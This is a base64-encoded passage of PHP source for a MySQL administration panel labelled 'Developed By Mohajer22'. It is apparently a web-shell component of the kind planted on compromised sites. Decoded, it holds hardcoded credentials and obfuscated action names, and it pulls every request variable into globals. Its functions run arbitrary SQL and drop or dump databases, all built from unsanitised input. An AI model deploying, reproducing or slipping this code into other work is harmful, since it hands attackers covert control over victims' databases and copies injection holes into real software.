cm9wVGFibGUiICkKCQkJZHJvcFRhYmxlKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1Nj
aGVtYSIgKQoJCQl2aWV3U2NoZW1hKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAicXVlcnkiICkK
CQkJdmlld0RhdGEoICRxdWVyeVN0ciApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxk
IiApCgkJCW1hbmFnZUZpZWxkKCAiYWRkIiApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZp
ZWxkX3N1Ym1pdCIgKQoJCQltYW5hZ2VGaWVsZF9zdWJtaXQoICJhZGQiICk7CgkJZWxzZSBpZigg
JGFjdGlvbiA9PSAiZWRpdEZpZWxkIiApCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsKCQllbHNl
IGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGRfc3VibWl0IiApCgkJCW1hbmFnZUZpZWxkX3N1Ym1p
dCggImVkaXQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApCgkJCWRyb3BG
aWVsZCgpOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIgKQoJCQl2aWV3RGF0
YSggIiIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGREYXRhIiApCgkJCW1hbmFnZURhdGEo
ICJhZGQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkKCQkJbWFu
YWdlRGF0YV9zdWJtaXQoICJhZGQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdERhdGEi
ICkKCQkJbWFuYWdlRGF0YSggImVkaXQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdERh
dGFfc3VibWl0IiApCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiZWRpdCIgKTsKCQllbHNlIGlmKCAk
YWN0aW9uID09ICJkZWxldGVEYXRhIiApCgkJCWRlbGV0ZURhdGEoKTsKCQllbHNlIGlmKCAkYWN0
aW9uID09ICJ1dGlscyIgKQoJCQl1dGlscygpOwoKCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxl
KTsKCQlmb290ZXJfaHRtbCgpOwoJfQp9CgoKPD8KJFBBU1NXT1JEID0gImthbGEiOwokVVNFUk5B
TUUgPSAiMTIzIjsKCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7Cgkkb25vZmYg
PSBpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWxzJyk7Cn0gZWxzZSB7Cgkkb25vZmYgPSBnZXRfY2Zn
X3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOwp9CmlmICgkb25vZmYgIT0gMSkgewoJQGV4dHJhY3Qo
JEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9DT09LSUVfVkFS
UywgRVhUUl9TS0lQKTsKCUBleHRyYWN0KCRIVFRQX1BPU1RfRklMRVMsIEVYVFJfU0tJUCk7CglA
ZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9HRVRf
VkFSUywgRVhUUl9TS0lQKTsKCUBleHRyYWN0KCRIVFRQX0VOVl9WQVJTLCBFWFRSX1NLSVApOwp9
CgpmdW5jdGlvbiBsb2dvbigpIHsKCWdsb2JhbCAkUEhQX1NFTEY7CglzZXRjb29raWUoICJteXNx
bF93ZWJfYWRtaW5fdXNlcm5hbWUiICk7CglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fcGFz
c3dvcmQiICk7CglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7CgllY2hv
ICI8dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJT48dHI+PHRkPjxjZW50ZXI+XG4iOwoJZWNo
byAiPHRhYmxlIGNlbGxwYWRkaW5nPTI+PHRyPjx0ZD48Y2VudGVyPlxuIjsKCWVjaG8gIjx0YWJs
ZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOwoJZWNobyAiPGgxPk15U1FMIElu
dGVyZmFjZSAoRGV2ZWxvcGVkIEJ5IE1vaGFqZXIyMik8L2gxPlxuIjsKCWVjaG8gIjxmb3JtIGFj
dGlvbj0nJFBIUF9TRUxGJz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rp
b24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7CgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9
NSBjZWxsc3BhY2luZz0xPlxuIjsKCWVjaG8gIjx0cj48dGQ+SG9zdG5hbWUgPC90ZD48dGQ+IDxp
bnB1dCB0eXBlPXRleHQgbmFtZT1ob3N0bmFtZSB2YWx1ZT0nbG9jYWxob3N0Jz48L3RkPjwvdHI+
XG4iOwoJZWNobyAiPHRyPjx0ZD5Vc2VybmFtZSA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBu
YW1lPXVzZXJuYW1lPjwvdGQ+PC90cj5cbiI7CgllY2hvICI8dHI+PHRkPlBhc3N3b3JkIDwvdGQ+
PHRkPiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3N3b3JkPjwvdGQ+PC90cj5cbiI7Cgll
Y2hvICI8L3RhYmxlPjxwPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50
ZXInPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXJlc2V0IHZhbHVlPSdDbGVhcic+PGJyPlxuIjsK
CWVjaG8gIjwvZm9ybT5cbiI7CgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7
CgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7CgllY2hvICI8cD48aHIgd2lk
dGg9MzAwPlxuIjsKCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsKfQoKZnVu
Y3Rpb24gbG9nb25fc3VibWl0KCkgewoJZ2xvYmFsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkaG9z
dG5hbWUgLCRQSFBfU0VMRjsKCWlmKCRob3N0bmFtZSA9PScnKQoJCSRob3N0bmFtZSA9ICdsb2Nh
bGhvc3QnOwoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiwgJHVzZXJuYW1l
ICk7CglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiLCAkcGFzc3dvcmQgKTsK
CXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOwoJZWNo
byAiPE1FVEEgSFRUUC1FUVVJVj1SZWZyZXNoIENPTlRFTlQ9JzA7IFVSTD0kUEhQX1NFTEY/YWN0
aW9uPWJHbHpkRVJDY3c9PSc+IjsKCn0KCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsKCWds
b2JhbCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJaWYoICRlcnJNc2cgPT0gIiIgKSAkZXJyTXNnID0g
IlN1Y2Nlc3MiOwoJaWYoICRxdWVyeVN0ciAhPSAiIiApIHsKCQllY2hvICI8dGFibGUgY2VsbHBh
ZGRpbmc9NT5cbiI7CgkJZWNobyAiPHRyPjx0ZD5RdWVyeTwvdGQ+PHRkPiRxdWVyeVN0cjwvdGQ+
PC90cj5cbiI7CgkJZWNobyAiPHRyPjx0ZD5SZXN1bHQ8L3RkPjx0ZD4kZXJyTXNnPC90ZD48L3Ry
PlxuIjsKCQllY2hvICI8L3RhYmxlPjxwPlxuIjsKCX0KfQoKZnVuY3Rpb24gbGlzdERhdGFiYXNl
cygpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRQSFBfU0VMRjsKCgllY2hvICI8aDE+RGF0YWJh
c2VzIExpc3Q8L2gxPlxuIjsKCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOwoJ
ZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsK
CWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kYm5hbWU+XG4iOwoJZWNobyAiPGlucHV0IHR5
cGU9c3VibWl0IHZhbHVlPSdDcmVhdGUgRGF0YWJhc2UnPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7
CgllY2hvICI8aHI+XG4iOwoKCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5n
PTU+XG4iOwoKCSRwREIgPSBteXNxbF9saXN0X2RicyggJG15c3FsSGFuZGxlICk7CgkkbnVtID0g
bXlzcWxfbnVtX3Jvd3MoICRwREIgKTsKCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7
CgkJJGRibmFtZSA9IG15c3FsX2RibmFtZSggJHBEQiwgJGkgKTsKCQllY2hvICI8dHI+XG4iOwoJ
CWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7CgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VM
Rj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSc+VGFibGVzPC9hPjwvdGQ+XG4iOwoJ
CWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRyb3BEQiZkYm5hbWU9JGRibmFt
ZScgb25DbGljaz1cInJldHVybiBjb25maXJtKCdEcm9wIERhdGFiYXNlIFwnJGRibmFtZVwnPycp
XCI+RHJvcDwvYT48L3RkPlxuIjsKCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlv
bj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBE
YXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7CgkJZWNobyAiPC90cj5c
biI7Cgl9CgllY2hvICI8L3RhYmxlPlxuIjsKfQoKZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7
CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7CgoJbXlzcWxfY3JlYXRl
X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCWxpc3REYXRhYmFzZXMoKTsKfQoKZnVuY3Rp
b24gZHJvcERhdGFiYXNlKCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9T
RUxGOwoKCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJbGlzdERhdGFi
YXNlcygpOwp9CgpmdW5jdGlvbiBsaXN0VGFibGVzKCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwg
JGRibmFtZSwgJFBIUF9TRUxGOwoKCgllY2hvICI8aDE+VGFibGVzIExpc3Q8L2gxPlxuIjsKCWVj
aG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWU8L3A+XG4iOwoJZWNob1F1ZXJ5UmVzdWx0KCk7
CgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9
aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZVRhYmxlPlxuIjsKCWVjaG8gIjxpbnB1dCB0
eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsKCWVjaG8gIjxpbnB1dCB0
eXBlPXRleHQgbmFtZT10YWJsZW5hbWU+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZh
bHVlPSdDcmVhdGUgVGFibGUnPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7CgllY2hvICI8Zm9ybSBh
Y3Rpb249JyRQSFBfU0VMRic+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0
aW9uIHZhbHVlPXF1ZXJ5PlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFt
ZSB2YWx1ZT0kZGJuYW1lPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0xMjAgbmFt
ZT1xdWVyeVN0cj5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J1F1ZXJ5Jz5c
biI7CgllY2hvICI8L2Zvcm0+XG4iOwoJZWNobyAiPGhyPlxuIjsKCgkkcFRhYmxlID0gbXlzcWxf
bGlzdF90YWJsZXMoICRkYm5hbWUgKTsKCglpZiggJHBUYWJsZSA9PSAwICkgewoJCSRtc2cgID0g
bXlzcWxfZXJyb3IoKTsKCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7CgkJcmV0
dXJuOwoJfQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7CgoJZWNobyAiPHRhYmxl
IGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7CgoJZm9yKCAkaSA9IDA7ICRpIDwgJG51
bTsgJGkrKyApIHsKCQkkdGFibGVuYW1lID0gbXlzcWxfdGFibGVuYW1lKCAkcFRhYmxlLCAkaSAp
OwoKCQllY2hvICI8dHI+XG4iOwoJCWVjaG8gIjx0ZD5cbiI7CgkJZWNobyAiJHRhYmxlbmFtZVxu
IjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQ
SFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxl
bmFtZSc+U2NoZW1hPC9hPlxuIjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+XG4iOwoJ
CWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJu
YW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsKCQllY2hvICI8L3RkPlxuIjsK
CQllY2hvICI8dGQ+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRh
YmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJu
IGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsKCQll
Y2hvICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VM
Rj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBv
bkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5E
dW1wPC9hPlxuIjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hvICI8L3RyPlxuIjsKCX0KCgllY2hv
ICI8L3RhYmxlPiI7Cn0KCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgewoJZ2xvYmFsICRteXNxbEhh
bmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7
CgoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOwoJbXlz
cWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCW15c3FsX3F1ZXJ5KCAkcXVl
cnlTdHIsICRteXNxbEhhbmRsZSApOwoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7CgoJbGlzdFRh
YmxlcygpOwp9CgpmdW5jdGlvbiBkcm9wVGFibGUoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAk
ZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsKCgkkcXVl
cnlTdHIgPSAiRFJPUCBUQUJMRSAkdGFibGVuYW1lIjsKCW15c3FsX3NlbGVjdF9kYiggJGRibmFt
ZSwgJG15c3FsSGFuZGxlICk7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUg
KTsKCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOwoKCWxpc3RUYWJsZXMoKTsKfQoKZnVuY3Rpb24g
dmlld1NjaGVtYSgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUs
ICRQSFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJyTXNnOwoKCWVjaG8gIjxoMT5UYWJsZSBTY2hlbWE8
L2gxPlxuIjsKCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1l
PC9wPlxuIjsKCgllY2hvUXVlcnlSZXN1bHQoKTsKCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/
YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQg
RmllbGQ8L2E+IHwgXG4iOwoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBS
aGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnPlZpZXcgRGF0YTwvYT5c
biI7CgllY2hvICI8aHI+XG4iOwoKCSRwUmVzdWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUs
ICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3Mo
ICRwUmVzdWx0ICk7CgoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5c
biI7CgllY2hvICI8dHI+XG4iOwoJZWNobyAiPHRoPkZpZWxkPC90aD5cbiI7CgllY2hvICI8dGg+
VHlwZTwvdGg+XG4iOwoJZWNobyAiPHRoPk51bGw8L3RoPlxuIjsKCWVjaG8gIjx0aD5LZXk8L3Ro
PlxuIjsKCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7CgllY2hvICI8dGg+RXh0cmE8L3RoPlxu
IjsKCWVjaG8gIjx0aCBjb2xzcGFuPTI+QWN0aW9uPC90aD5cbiI7CgllY2hvICI8L3RyPlxuIjsK
CgoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRj
aF9hcnJheSggJHBSZXN1bHQgKTsKCQllY2hvICI8dHI+XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVs
ZFsiRmllbGQiXS4iPC90ZD5cbiI7CgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+
XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsKCQllY2hvICI8dGQ+
Ii4kZmllbGRbIktleSJdLiI8L3RkPlxuIjsKCQllY2hvICI8dGQ+Ii4kZmllbGRbIkRlZmF1bHQi
XS4iPC90ZD5cbiI7CgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsKCQkk
ZmllbGRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOwoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NF
TEY/YWN0aW9uPWVkaXRGaWVsZCZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZm
aWVsZG5hbWU9JGZpZWxkbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsKCQllY2hvICI8dGQ+PGEgaHJl
Zj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0
YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgn
RHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7CgkJZWNobyAi
PC90cj5cbiI7Cgl9CgllY2hvICI8L3RhYmxlPlxuIjsKCn0KCmZ1bmN0aW9uIG1hbmFnZUZpZWxk
KCAkY21kICkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZp
ZWxkbmFtZSwgJFBIUF9TRUxGOwoKCWlmKCAkY21kID09ICJhZGQiICkKCQllY2hvICI8aDE+QWRk
IEZpZWxkPC9oMT5cbiI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApIHsKCQllY2hvICI8aDE+
RWRpdCBGaWVsZDwvaDE+XG4iOwoJCSRwUmVzdWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUs
ICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7CgkJJG51bSA9IG15c3FsX251bV9yb3dz
KCAkcFJlc3VsdCApOwoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CgkJCSRmaWVs
ZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOwoJCQlpZiggJGZpZWxkWyJGaWVsZCJd
ID09ICRmaWVsZG5hbWUgKSB7CgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07CgkJCQkk
ZmllbGRrZXkgPSAkZmllbGRbIktleSJdOwoJCQkJJGZpZWxkZXh0cmEgPSAkZmllbGRbIkV4dHJh
Il07CgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07CgkJCQkkZmllbGRkZWZhdWx0ID0g
JGZpZWxkWyJEZWZhdWx0Il07CgkJCQlicmVhazsKCQkJfQoJCX0KCQkkdHlwZSA9IHN0cnRvaygg
JGZpZWxkdHlwZSwgIiAoLClcbiIgKTsKCQlpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiKCIgKSAp
IHsKCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgewoJCQkJJHZhbHVl
bGlzdCA9IHN0cnRvayggIiAoKVxuIiApOwoJCQl9IGVsc2UgewoJCQkJJE0gPSBzdHJ0b2soICIg
KCwpXG4iICk7CgkJCQlpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiLCIgKSApCgkJCQkJJEQgPSBz
dHJ0b2soICIgKCwpXG4iICk7CgkJCX0KCQl9Cgl9CgoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+
JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOwoJZWNobyAiPGZvcm0gYWN0aW9uPSRQSFBf
U0VMRj5cbiI7CgoJaWYoICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRl
biBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOwoJZWxzZSBpZiggJGNtZCA9
PSAiZWRpdCIgKSB7CgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVl
PWVkaXRGaWVsZF9zdWJtaXQ+XG4iOwoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9s
ZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOwoJfQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVu
IG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVu
IG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOwoKCWVjaG8gIjxoMz5OYW1lPC9o
Mz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0kZmllbGRuYW1l
PjxwPlxuIjsKCWVjaG8gJwoKPGgzPlR5cGU8L2gzPgoKPGZvbnQgc2l6ZT0yPgoqIGBNXCcgaW5k
aWNhdGVzIHRoZSBtYXhpbXVtIGRpc3BsYXkgc2l6ZS48YnI+CiogYERcJyBhcHBsaWVzIHRvIGZs
b2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9s
bG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4KPC9mb250PgoKPHRhYmxlPgo8dHI+Cjx0aD5U
eXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2ln
bmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPgo8L3RyPgo8dHI+Cjx0ZD48
aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9
PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8
L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2Vu
dGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8
dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNNQUxMSU5UIiAnOyBp
ZiggJHR5cGUgPT0gInNtYWxsaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5TTUFMTElOVCAo
LTMyNzY4IH4gMzI3NjcpPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90
ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZu
YnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVl
PSJNRURJVU1JTlQiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtaW50IiApIGVjaG8gImNoZWNrZWQi
O2VjaG8gJz5NRURJVU1JTlQgKC04Mzg4NjA4IH4gODM4ODYwNyk8L3RkPgoKPHRkIGFsaWduPWNl
bnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFs
aWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5
cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJJTlQiICc7IGlmKCAkdHlwZSA9PSAiaW50IiApIGVj
aG8gImNoZWNrZWQiO2VjaG8gJz5JTlQgKC0yMTQ3NDgzNjQ4IH4gMjE0NzQ4MzY0Nyk8L3RkPgo8
dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88
L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0
ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkJJR0lOVCIgJzsgaWYoICR0eXBl
ID09ICJiaWdpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkJJR0lOVCAoLTkyMjMzNzIwMzY4
NTQ3NzU4MDggfiA5MjIzMzcyMDM2ODU0Nzc1ODA3KTwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+Tzwv
dGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZCBhbGlnbj1jZW50
ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlv
IG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAi
Y2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFs
aWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4K
PHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBl
